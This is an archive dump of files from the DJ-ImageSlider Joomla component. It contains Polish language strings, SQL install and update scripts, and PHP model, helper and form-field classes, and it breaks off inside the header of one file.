COM_DJIMAGESLIDER_SLIDES="Slajdy"
COM_DJIMAGESLIDER_CATEGORIES="Kategorie"

COM_DJIMAGESLIDER_DESCRIPTION="<strong>Thank you for installing DJ-ImageSlider!</strong><br /><br />The DJ-ImageSlider extension allows you to display image slides with title and short description linked to any menu item, article or custom url address. If you want to learn how to use DJ-ImageSlider please read <a href="_QQ_"http://dj-extensions.com/documentation"_QQ_">Documentation</a> and search our <a href="_QQ_"http://dj-extensions.com/forum"_QQ_">Support Forum</a><br /><br />Check out our other extensions at <a href="_QQ_"http://dj-extensions.com"_QQ_"><img scr="_QQ_"components/com_djimageslider/assets/logo.png"_QQ_" alt="_QQ_"DJ-Extensions.com"_QQ_" /></a>"com_djimageslider/sql/updates/4.0.sql000060400000000203152455305320013466 0ustar00ALTER TABLE #__djimageslider 
CHANGE `description` `description` text DEFAULT NULL,
CHANGE `params` `params` text DEFAULT NULL;
com_djimageslider/sql/updates/1.3.sql000060400000000000152455305320013461 0ustar00com_djimageslider/sql/updates/2.0.sql000060400000000247152455305320013474 0ustar00ALTER TABLE `#__djimageslider` ADD `publish_up` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
ADD `publish_down` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00';
com_djimageslider/sql/updates/4.1.1.sql000060400000004517152455305320013642 0ustar00INSERT INTO `#__content_types` (`type_title`, `type_alias`, `table`, `rules`, `field_mappings`, `router`,
                                   `content_history_options`)
VALUES ('DJ-ImageSlider Category', 'com_djimageslider.category',
        '{\"special\":{\"dbtable\":\"#__categories\",\"key\":\"id\",\"type\":\"Category\",\"prefix\":\"JTable\",\"config\":\"array()\"},\"common\":{\"dbtable\":\"#__ucm_content\",\"key\":\"ucm_id\",\"type\":\"Corecontent\",\"prefix\":\"JTable\",\"config\":\"array()\"}}',
        '',
        '{\"common\":{\"core_content_item_id\":\"id\",\"core_title\":\"title\",\"core_state\":\"published\",\"core_alias\":\"alias\",\"core_created_time\":\"created_time\",\"core_modified_time\":\"modified_time\",\"core_body\":\"description\", \"core_hits\":\"hits\",\"core_publish_up\":\"null\",\"core_publish_down\":\"null\",\"core_access\":\"access\", \"core_params\":\"params\", \"core_featured\":\"null\", \"core_metadata\":\"metadata\", \"core_language\":\"language\", \"core_images\":\"null\", \"core_urls\":\"null\", \"core_version\":\"version\", \"core_ordering\":\"null\", \"core_metakey\":\"metakey\", \"core_metadesc\":\"metadesc\", \"core_catid\":\"parent_id\", \"core_xreference\":\"null\", \"asset_id\":\"asset_id\"}, \"special\":{\"parent_id\":\"parent_id\",\"lft\":\"lft\",\"rgt\":\"rgt\",\"level\":\"level\",\"path\":\"path\",\"extension\":\"extension\",\"note\":\"note\"}}',
        'ContentHelperRoute::getCategoryRoute',
        '{\"formFile\":\"administrator\\/components\\/com_categories\\/models\\/forms\\/category.xml\", \"hideFields\":[\"asset_id\",\"checked_out\",\"checked_out_time\",\"version\",\"lft\",\"rgt\",\"level\",\"path\",\"extension\"], \"ignoreChanges\":[\"modified_user_id\", \"modified_time\", \"checked_out\", \"checked_out_time\", \"version\", \"hits\", \"path\"],\"convertToInt\":[\"publish_up\", \"publish_down\"], \"displayLookup\":[{\"sourceColumn\":\"created_user_id\",\"targetTable\":\"#__users\",\"targetColumn\":\"id\",\"displayColumn\":\"name\"},{\"sourceColumn\":\"access\",\"targetTable\":\"#__viewlevels\",\"targetColumn\":\"id\",\"displayColumn\":\"title\"},{\"sourceColumn\":\"modified_user_id\",\"targetTable\":\"#__users\",\"targetColumn\":\"id\",\"displayColumn\":\"name\"},{\"sourceColumn\":\"parent_id\",\"targetTable\":\"#__categories\",\"targetColumn\":\"id\",\"displayColumn\":\"title\"}]}');
com_djimageslider/sql/install.sql000060400000001376152455305320013202 0ustar00CREATE TABLE IF NOT EXISTS `#__djimageslider` (
  `id` int(10) unsigned NOT NULL auto_increment,
  `catid` int(10) unsigned NOT NULL default '0',
  `title` varchar(255) NOT NULL,
  `alias` varchar(255) NOT NULL default '',
  `image` varchar(255) NOT NULL,
  `description` text DEFAULT NULL,
  `published` tinyint(1) NOT NULL default '0',
  `publish_up` datetime NOT NULL default '0000-00-00 00:00:00',
  `publish_down` datetime NOT NULL default '0000-00-00 00:00:00',
  `checked_out` int(10) unsigned NOT NULL default '0',
  `checked_out_time` datetime NOT NULL default '0000-00-00 00:00:00',
  `ordering` int(11) NOT NULL default '0',
  `params` text DEFAULT NULL,
  PRIMARY KEY  (`id`),
  KEY `catid` (`catid`,`published`)
) DEFAULT CHARSET=utf8;
com_djimageslider/sql/index.html000060400000000000152455305320012767 0ustar00com_djimageslider/sql/uninstall.sql000060400000000040152455305320013530 0ustar00DROP TABLE `#__djimageslider`;
com_djimageslider/helpers/djimageslider.php000060400000005377152455305320015177 0ustar00<?php
/**
 * @version $Id$
 * @package DJ-ImageSlider
 * @subpackage DJ-ImageSlider Component
 * @copyright Copyright (C) 2017 DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 * @developer Szymon Woronowski - szymon.woronowski@design-joomla.eu
 *
 *
 * DJ-ImageSlider is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * DJ-ImageSlider is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with DJ-ImageSlider. If not, see <http://www.gnu.org/licenses/>.
 *
 */

defined('_JEXEC') or die;

abstract class DJImageSliderHelper
{
	
	public static function addSubmenu($vName)
	{
		if($vName=='item' || $vName=='category') return;
		$version = new JVersion;
		
		if (version_compare($version->getShortVersion(), '3.0.0', '<')) {
			
			JSubMenuHelper::addEntry(
				JText::_('COM_DJIMAGESLIDER_SUBMENU_CPANEL'),
				'index.php?option=com_djimageslider',
				$vName == 'cpanel'
			);
			JSubMenuHelper::addEntry(
				JText::_('COM_DJIMAGESLIDER_SUBMENU_SLIDES'),
				'index.php?option=com_djimageslider&view=items',
				$vName == 'items'
			);
			JSubMenuHelper::addEntry(
				JText::_('COM_DJIMAGESLIDER_SUBMENU_CATEGORIES'),
				'index.php?option=com_categories&extension=com_djimageslider',
				$vName == 'categories'
			);
	
			
		} else {
			
			JHtmlSidebar::addEntry(
				JText::_('COM_DJIMAGESLIDER_SUBMENU_CPANEL'),
				'index.php?option=com_djimageslider',
				$vName == 'cpanel'
			);
			JHtmlSidebar::addEntry(
				JText::_('COM_DJIMAGESLIDER_SUBMENU_SLIDES'),
				'index.php?option=com_djimageslider&view=items',
				$vName == 'items'
			);
			JHtmlSidebar::addEntry(
				JText::_('COM_DJIMAGESLIDER_SUBMENU_CATEGORIES'),
				'index.php?option=com_categories&extension=com_djimageslider',
				$vName == 'categories'
			);
		}
		
		if ($vName=='categories') {
			JToolBarHelper::title(
			JText::sprintf('COM_DJIMAGESLIDER_CATEGORIES_TITLE',JText::_('com_djimageslider')),
			'slider-categories');
		}
	}
	
	public static function getBSClasses() {
	
		$classes = new JObject;
	
		if(version_compare(JVERSION, '4', '>=')) { // Bootstrap 4
			$classes->set('row', 'row');
			$classes->set('col', 'col-md-');
		} else { // Boostrap 2.3.2
			$classes->set('row', 'row-fluid');
			$classes->set('col', 'span');
		}
	
		return $classes;
	}
	
}
?>com_djimageslider/helpers/index.html000060400000000000152455305320013632 0ustar00com_djimageslider/helpers/category.php000060400000002713152455305320014200 0ustar00<?php
/**
 * @version $Id$
 * @package DJ-ImageSlider
 * @subpackage DJ-ImageSlider Component
 * @copyright Copyright (C) 2017 DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 * @developer Szymon Woronowski - szymon.woronowski@design-joomla.eu
 *
 *
 * DJ-ImageSlider is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * DJ-ImageSlider is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with DJ-ImageSlider. If not, see <http://www.gnu.org/licenses/>.
 *
 */


defined('_JEXEC') or die;


class DJImageSliderCategories extends JCategories
{
    /**
     * Class constructor
     *
     * @param   array  $options  Array of options
     *
     * @since   11.1
     */
    public function __construct($options = array())
    {
        $options['table'] = '#__djimageslider` ';
        $options['extension'] = 'com_djimageslider';
        $options['field'] = 'catid';
        parent::__construct($options);
    }
}com_djimageslider/controller.php000060400000002721152455305320013103 0ustar00<?php
/**
 * @version $Id$
 * @package DJ-ImageSlider
 * @subpackage DJ-ImageSlider Component
 * @copyright Copyright (C) 2017 DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 * @developer Szymon Woronowski - szymon.woronowski@design-joomla.eu
 *
 *
 * DJ-ImageSlider is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * DJ-ImageSlider is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with DJ-ImageSlider. If not, see <http://www.gnu.org/licenses/>.
 *
 */

// Check to ensure this file is included in Joomla!
defined('_JEXEC') or die;

class DJImageSliderController extends JControllerLegacy
{
	protected $default_view = 'cpanel';
	
	public function display($cachable = false, $urlparams = false)
	{
		$app = JFactory::getApplication();
		require_once JPATH_COMPONENT.'/helpers/djimageslider.php';
		DJImageSliderHelper::addSubmenu($app->input->getCmd('view', 'cpanel'));
		parent::display();

		return $this;
	}
}com_djimageslider/models/items.php000060400000010606152455305320013325 0ustar00<?php
/**
 * @version $Id$
 * @package DJ-ImageSlider
 * @subpackage DJ-ImageSlider Component
 * @copyright Copyright (C) 2017 DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 * @developer Szymon Woronowski - szymon.woronowski@design-joomla.eu
 *
 *
 * DJ-ImageSlider is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * DJ-ImageSlider is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with DJ-ImageSlider. If not, see <http://www.gnu.org/licenses/>.
 *
 */

// Check to ensure this file is included in Joomla!
defined('_JEXEC') or die( 'Restricted access' );

jimport('joomla.application.component.modellist');

class DJImageSliderModelItems extends JModelList
{
	public function __construct($config = array())
	{
		if (empty($config['filter_fields'])) {
			$config['filter_fields'] = array(
				'id', 'a.id',
				'title', 'a.title',
				'alias', 'a.alias',
				'catid', 'a.catid', 'category_title',
				'ordering', 'a.ordering',
				'checked_out', 'a.checked_out',
				'checked_out_time', 'a.checked_out_time',
				'published', 'a.published',
				'access', 'a.access', 'access_level',
				'created', 'a.created',
				'created_by', 'a.created_by',
				'language', 'a.language'
			);
		}

		parent::__construct($config);
	}
	
	protected function populateState($ordering = null, $direction = null)
	{
		// Initialise variables.
		$app = JFactory::getApplication();

		$search = $this->getUserStateFromRequest($this->context.'.filter.search', 'filter_search');
		$this->setState('filter.search', $search);

		$published = $this->getUserStateFromRequest($this->context.'.filter.published', 'filter_published', '');
		$this->setState('filter.published', $published);

		$category = $this->getUserStateFromRequest($this->context.'.filter.category', 'filter_category', '');
		$this->setState('filter.category', $category);
		
		// List state information.
		parent::populateState('a.ordering', 'asc');
	}

	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id	.= ':'.$this->getState('filter.search');
		$id	.= ':'.$this->getState('filter.published');
		$id	.= ':'.$this->getState('filter.category');
		
		return parent::getStoreId($id);
	}
	
	protected function getListQuery()
	{
		// Create a new query object.
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		// Select the required fields from the table.
		$query->select(
			$this->getState(
				'list.select',
				'a.*'
			)
		);
		$query->from('#__djimageslider AS a');
		
		// Join over the categories.
		$query->select('c.title AS category_title');
		$query->join('LEFT', '#__categories AS c ON c.id = a.catid');
		
		// Join over the users for the checked out user.
		$query->select('uc.name AS editor');
		$query->join('LEFT', '#__users AS uc ON uc.id=a.checked_out');
		
		// Filter by published state
		$published = $this->getState('filter.published');
		if (is_numeric($published)) {
			$query->where('a.published = ' . (int) $published);
		}
		else if ($published === '') {
			$query->where('(a.published = 0 OR a.published = 1)');
		}
		
		// Filter by category state
		$category = $this->getState('filter.category');
		if (is_numeric($category)) {
			$query->where('a.catid = ' . (int) $category);
		}
		
		// Filter by search in title.
		$search = $this->getState('filter.search');
		if (!empty($search)) {
			if (stripos($search, 'id:') === 0) {
				$query->where('a.id = '.(int) substr($search, 3));
			}
			else {
				$search = $db->Quote('%'.$db->escape($search, true).'%');
				$query->where('(a.title LIKE '.$search.' OR a.alias LIKE '.$search.')');
			}
		}
		
		// Add the list ordering clause.
		$orderCol	= $this->state->get('list.ordering');
		$orderDirn	= $this->state->get('list.direction');
		if ($orderCol == 'a.ordering' || $orderCol == 'category_title') {
			$orderCol = 'category_title '.$orderDirn.', a.ordering';
		}
		$query->order($db->escape($orderCol.' '.$orderDirn));
		
		return $query;
	}
	
}
com_djimageslider/models/index.html000060400000000054152455305320013464 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_djimageslider/models/cpanel.php000060400000002310152455305320013437 0ustar00<?php
/**
 * @version $Id$
 * @package DJ-ImageSlider
 * @subpackage DJ-ImageSlider Component
 * @copyright Copyright (C) 2017 DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 * @developer Szymon Woronowski - szymon.woronowski@design-joomla.eu
 *
 *
 * DJ-ImageSlider is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * DJ-ImageSlider is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with DJ-ImageSlider. If not, see <http://www.gnu.org/licenses/>.
 *
 */

defined('_JEXEC') or die;

jimport( 'joomla.application.component.model');


class DJImageSliderModelCPanel extends JModelLegacy {

	function __construct()
	{
		parent::__construct();
	}
}
?>
com_djimageslider/models/forms/item.xml000060400000011537152455305320014305 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
	addfieldpath="/administrator/components/com_djcatalog2/models/fields">
	<fieldset addfieldpath="/administrator/components/com_categories/models/fields">
		<field name="id"
			type="text"
			label="JGLOBAL_FIELD_ID_LABEL"
			description="JGLOBAL_FIELD_ID_DESC"
			size="10"
			default="0"
			readonly="true"
			class="readonly"
		/>
		
		<field name="catid"
			type="category"
			extension="com_djimageslider"
			label="JCATEGORY"
			description="JFIELD_CATEGORY_DESC"
			class="inputbox"
			required="true"
		/>
		
		<field name="title"
			type="text"
			label="JGLOBAL_TITLE"
			description="JGLOBAL_TITLE"
			class="inputbox"
			size="30"
			required="true"
		 />
		 
		 <field name="alias"
			type="text"
			label="JFIELD_ALIAS_LABEL"
			description="JFIELD_ALIAS_DESC"
			class="inputbox"
			size="30"
		/>
		
		<field name="image"
			type="media"
			hide_none="1"
			label="COM_DJIMAGESLIDER_IMAGE"
			description="COM_DJIMAGESLIDER_IMAGE"
			
		/>
		
		<field name="description" type="editor"
			label="COM_DJIMAGESLIDER_DESCRIPTION"
			description="COM_DJIMAGESLIDER_DESCRIPTION_DESC"
			class="inputbox"
			filter="JComponentHelper::filterText"
			buttons="false"
		/>
		
		<field id="published"
			name="published"
			type="list"
			label="JSTATUS"
			description="JFIELD_PUBLISHED_DESC"
			class="inputbox"
			size="1"
			default="1"
		>
			<option value="1">
				JPUBLISHED</option>
			<option value="0">
				JUNPUBLISHED</option>			
		</field>
		
		<field name="publish_up" type="calendar"
			label="COM_DJIMAGESLIDER_PUBLISH_UP" description="COM_DJIMAGESLIDER_PUBLISH_UP_DESC"
			class="inputbox" format="%Y-%m-%d %H:%M:%S" size="22"
			filter="user_utc" />

		<field name="publish_down" type="calendar"
			label="COM_DJIMAGESLIDER_PUBLISH_DOWN" description="COM_DJIMAGESLIDER_PUBLISH_DOWN_DESC"
			class="inputbox" format="%Y-%m-%d %H:%M:%S" size="22"
			filter="user_utc" />
		
		<field name="checked_out"
			type="hidden"
			filter="unset"
		/>

		<field name="checked_out_time"
			type="hidden"
			filter="unset"
		/>
			
	</fieldset>
	
	<fields name="params">
		<fieldset name="jbasic"	label="COM_DJIMAGESLIDER_LINKING_OPTIONS"
			addfieldpath="/administrator/components/com_content/models/fields" >
		
			<field name="link_type" 
				type="list" 
				label="COM_DJIMAGESLIDER_LINK_TYPE"
				description="COM_DJIMAGESLIDER_LINK_TYPE_DESC" 
				default=""
			>
				<option value="">COM_DJIMAGESLIDER_DO_NOT_LINK</option>
				<option value="menu">COM_DJIMAGESLIDER_MENU</option>
				<option value="url">COM_DJIMAGESLIDER_URL</option>
				<option value="article">COM_DJIMAGESLIDER_ARTICLE</option>
				<!--option value="djc2_item">COM_DJIMAGESLIDER_DJCATALOG2_ITEM</option-->
			</field>
			
			<field name="link_menu" 
				type="menuitem"
				label="COM_DJIMAGESLIDER_MENU"
				description="COM_DJIMAGESLIDER_MENU"
				disable="separator,heading,alias"
				showon="link_type:menu"
			/>
			<field name="link_url"
				type="text"
				label="COM_DJIMAGESLIDER_URL"
				description="COM_DJIMAGESLIDER_URL"
				class="inputbox"
				size="30"
				showon="link_type:url"
			/>
			<field name="link_article" 
				type="modal_article"
				label="COM_DJIMAGESLIDER_ARTICLE" 
				description="COM_DJIMAGESLIDER_ARTICLE"
				showon="link_type:article"
			/>
			
			<field name="link_target" 
				type="list" 
				label="COM_DJIMAGESLIDER_LINK_TARGET"
				description="COM_DJIMAGESLIDER_LINK_TARGET_DESC" 
				default=""
				showon="link_type:menu,url,article"
			>
				<option value="">COM_DJIMAGESLIDER_AUTO</option>
				<option value="_self">COM_DJIMAGESLIDER_PARENT_WINDOW</option>
				<option value="_blank">COM_DJIMAGESLIDER_NEW_WINDOW</option>
			</field>
			
			<field name="link_rel" 
				type="list" 
				label="COM_DJIMAGESLIDER_LINK_REL"
				description="COM_DJIMAGESLIDER_LINK_REL_DESC" 
				default=""
				showon="link_type:menu,url,article"
			>
				<option value="">JNONE</option>
				<option value="alternate">alternate</option>
				<option value="author">author</option>
				<option value="bookmark">bookmark</option>
				<option value="help">help</option>
				<option value="license">license</option>
				<option value="next">next</option>
				<option value="nofollow">nofollow</option>
				<option value="noreferrer">noreferrer</option>
				<option value="prefetch">prefetch</option>
				<option value="prev">prev</option>
				<option value="search">search</option>
				<option value="tag">tag</option>
			</field>
			
		</fieldset>
		
		<fieldset name="attrs"	label="COM_DJIMAGESLIDER_IMAGE_ATTR_OPTIONS">
			<field name="alt_attr"
				type="text"
				label="COM_DJIMAGESLIDER_ALT_ATTR"
				description="COM_DJIMAGESLIDER_ALT_ATTR_DESC"
				class="inputbox"
				size="30"
			/>
			<field name="title_attr"
				type="text"
				label="COM_DJIMAGESLIDER_TITLE_ATTR"
				description="COM_DJIMAGESLIDER_TITLE_ATTR_DESC"
				class="inputbox"
				size="30"
			/>
		</fieldset>
	</fields>
</form>com_djimageslider/models/forms/index.html000060400000000054152455305320014612 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_djimageslider/models/forms/filter_items.xml000060400000001415152455305320016027 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			hint="COM_DJIMAGESLIDER_SEARCH_IN_TITLE"
		/>


		<field
				name="published"
				type="status"
				label="JOPTION_SELECT_PUBLISHED"
				onchange="this.form.submit();"
		>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>

		<field
				name="category"
				type="category"
				extension="com_djimageslider"
				class="inputbox"
				default=""
				onchange="this.form.submit();"

		>
			<option value="">JOPTION_SELECT_CATEGORY</option>
		</field>

	</fields>

	<fields name="list">

		<field
			name="limit"
			type="limitbox"
			label="JGLOBAL_LIST_LIMIT"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_djimageslider/models/item.php000060400000007344152455305320013147 0ustar00<?php
/**
 * @version $Id$
 * @package DJ-ImageSlider
 * @subpackage DJ-ImageSlider Component
 * @copyright Copyright (C) 2017 DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 * @developer Szymon Woronowski - szymon.woronowski@design-joomla.eu
 *
 *
 * DJ-ImageSlider is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * DJ-ImageSlider is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with DJ-ImageSlider. If not, see <http://www.gnu.org/licenses/>.
 *
 */

// No direct access
defined('_JEXEC') or die;

jimport('joomla.application.component.modeladmin');

class DJImageSliderModelItem extends JModelAdmin
{
	public function getTable($type = 'Item', $prefix = 'DJImageSliderTable', $config = array())
	{
		return JTable::getInstance($type, $prefix, $config);
	}
	
	public function getForm($data = array(), $loadData = true)
	{
		jimport('joomla.form.form');
		JForm::addFieldPath('JPATH_ADMINISTRATOR/components/com_djcatalog2/models/fields');

		// Get the form.
		$form = $this->loadForm('com_djimageslider.item', 'item', array('control' => 'jform', 'load_data' => $loadData));
		if (empty($form)) {
			return false;
		}
		/* not implemented yet
		// Modify the form based on access controls.
		if (!$this->canEditState((object) $data)) {
			// Disable fields for display.
			$form->setFieldAttribute('ordering', 'disabled', 'true');
			$form->setFieldAttribute('published', 'disabled', 'true');

			// Disable fields while saving.
			// The controller has already verified this is a record you can edit.
			$form->setFieldAttribute('ordering', 'filter', 'unset');
			$form->setFieldAttribute('published', 'filter', 'unset');
		}*/

		return $form;
	}
	
	protected function loadFormData()
	{
		// Check the session for previously entered form data.
		$data = JFactory::getApplication()->getUserState('com_djimageslider.edit.item.data', array());

		if (empty($data)) {
			$data = $this->getItem();

			// Prime some default values.
			if ($this->getState('item.id') == 0) {
				$app = JFactory::getApplication();
				$data->set('catid', $app->input->getInt('catid', $app->getUserState('com_djimageslider.items.filter.category')));
			}
		}

		return $data;
	}
	
	protected function prepareTable($table)
	{
		jimport('joomla.filter.output');
		$date = JFactory::getDate();
		$user = JFactory::getUser();

		$table->title		= htmlspecialchars_decode($table->title, ENT_QUOTES);
		$table->alias		= JFilterOutput::stringURLSafe($table->alias);

		if (empty($table->alias)) {
			$table->alias = JFilterOutput::stringURLSafe($table->title);
		}
		
		// Set the publish date to now
		if($table->published == 1 && intval($table->publish_up) == 0) {
			$table->publish_up = $date->toSql();
		}
		
		if(empty($table->publish_down)) {
			$table->publish_down = JFactory::getDbo()->getNullDate();
		}
		
		/*
		if (empty($table->id)) {

			// Set ordering to the last item if not set
			if (empty($table->ordering)) {
				$db = JFactory::getDbo();
				$db->setQuery('SELECT MAX(ordering) FROM #__djimageslider');
				$max = $db->loadResult();

				$table->ordering = $max+1;
			}
		}
		*/
	}
	
	protected function getReorderConditions($table)
	{
		$condition = array();
		$condition[] = 'catid = '.(int) $table->catid;

		return $condition;
	}
	
}
com_djimageslider/models/fields/djfolderlist.php000060400000012414152455305320016136 0ustar00<?php
/**
 * @package     Joomla.Platform
 * @subpackage  Form
 *
 * @copyright   Copyright (C) 2005 - 2016 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('JPATH_PLATFORM') or die;

jimport('joomla.filesystem.folder');
JFormHelper::loadFieldClass('list');

/**
 * Supports an HTML select list of folder
 *
 * @since  11.1
 */
class JFormFieldDJFolderList extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  11.1
	 */
	protected $type = 'DJFolderList';

	/**
	 * The filter.
	 *
	 * @var    string
	 * @since  3.2
	 */
	protected $filter;

	/**
	 * The exclude.
	 *
	 * @var    string
	 * @since  3.2
	 */
	protected $exclude;

	/**
	 * The recursive.
	 *
	 * @var    string
	 * @since  3.6
	 */
	protected $recursive;

	/**
	 * The hideNone.
	 *
	 * @var    boolean
	 * @since  3.2
	 */
	protected $hideNone = false;

	/**
	 * The hideDefault.
	 *
	 * @var    boolean
	 * @since  3.2
	 */
	protected $hideDefault = false;

	/**
	 * The directory.
	 *
	 * @var    string
	 * @since  3.2
	 */
	protected $directory;

	/**
	 * Method to get certain otherwise inaccessible properties from the form field object.
	 *
	 * @param   string  $name  The property name for which to the the value.
	 *
	 * @return  mixed  The property value or null.
	 *
	 * @since   3.2
	 */
	public function __get($name)
	{
		switch ($name)
		{
			case 'filter':
			case 'exclude':
			case 'recursive':
			case 'hideNone':
			case 'hideDefault':
			case 'directory':
				return $this->$name;
		}

		return parent::__get($name);
	}

	/**
	 * Method to set certain otherwise inaccessible properties of the form field object.
	 *
	 * @param   string  $name   The property name for which to the the value.
	 * @param   mixed   $value  The value of the property.
	 *
	 * @return  void
	 *
	 * @since   3.2
	 */
	public function __set($name, $value)
	{
		switch ($name)
		{
			case 'filter':
			case 'directory':
			case 'exclude':
			case 'recursive':
				$this->$name = (string) $value;
				break;

			case 'hideNone':
			case 'hideDefault':
				$value = (string) $value;
				$this->$name = ($value === 'true' || $value === $name || $value === '1');
				break;

			default:
				parent::__set($name, $value);
		}
	}

	/**
	 * Method to attach a JForm object to the field.
	 *
	 * @param   SimpleXMLElement  $element  The SimpleXMLElement object representing the `<field>` tag for the form field object.
	 * @param   mixed             $value    The form field value to validate.
	 * @param   string            $group    The field name group control value. This acts as as an array container for the field.
	 *                                      For example if the field has name="foo" and the group value is set to "bar" then the
	 *                                      full field name would end up being "bar[foo]".
	 *
	 * @return  boolean  True on success.
	 *
	 * @see     JFormField::setup()
	 * @since   3.2
	 */
	public function setup(SimpleXMLElement $element, $value, $group = null)
	{
		$return = parent::setup($element, $value, $group);

		if ($return)
		{
			$this->filter  = (string) $this->element['filter'];
			$this->exclude = (string) $this->element['exclude'];

			$recursive       = (string) $this->element['recursive'];
			$this->recursive = ($recursive == 'true' || $recursive == 'recursive' || $recursive == '1');

			$hideNone       = (string) $this->element['hide_none'];
			$this->hideNone = ($hideNone == 'true' || $hideNone == 'hideNone' || $hideNone == '1');

			$hideDefault       = (string) $this->element['hide_default'];
			$this->hideDefault = ($hideDefault == 'true' || $hideDefault == 'hideDefault' || $hideDefault == '1');

			// Get the path in which to search for file options.
			$this->directory = (string) $this->element['directory'];
		}

		return $return;
	}

	/**
	 * Method to get the field options.
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   11.1
	 */
	protected function getOptions()
	{
		$options = array();

		$path = JPath::clean($this->directory);

		if (!is_dir($path))
		{
			$path = JPATH_ROOT . DIRECTORY_SEPARATOR . $path;
		}

		// Prepend some default options based on field attributes.
		if (!$this->hideNone)
		{
			$options[] = JHtml::_('select.option', '-1', JText::alt('JOPTION_DO_NOT_USE', preg_replace('/[^a-zA-Z0-9_\-]/', '_', $this->fieldname)));
		}

		if (!$this->hideDefault)
		{
			$options[] = JHtml::_('select.option', '', JText::alt('JOPTION_USE_DEFAULT', preg_replace('/[^a-zA-Z0-9_\-]/', '_', $this->fieldname)));
		}

		// Get a list of folders in the search path with the given filter.
		$folders = JFolder::folders($path, $this->filter, $this->recursive, true);

		// Build the options list from the list of folders.
		if (is_array($folders))
		{
			foreach ($folders as $folder)
			{
				// Check to see if the file is in the exclude mask.
				if ($this->exclude)
				{
					if (preg_match(chr(1) . $this->exclude . chr(1), $folder))
					{
						continue;
					}
				}

				// Remove the root part and the leading /
				$folder = trim(str_replace($path, '', $folder), '/');

				$options[] = JHtml::_('select.option', $folder, $folder);
			}
		}

		// Merge any additional options in the XML definition.
		$options = array_merge(parent::getOptions(), $options);

		return $options;
	}
}
com_djimageslider/models/fields/djspacer.php000060400000007401152455305320015244 0ustar00<?php
/**
 * @version $Id: djspacer.php 31 2015-04-29 14:25:09Z szymon $
 * @package DJ-MediaTools
 * @copyright Copyright (C) 2017 DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 * @developer Szymon Woronowski - szymon.woronowski@design-joomla.eu
 *
 * DJ-MediaTools is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * DJ-MediaTools is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
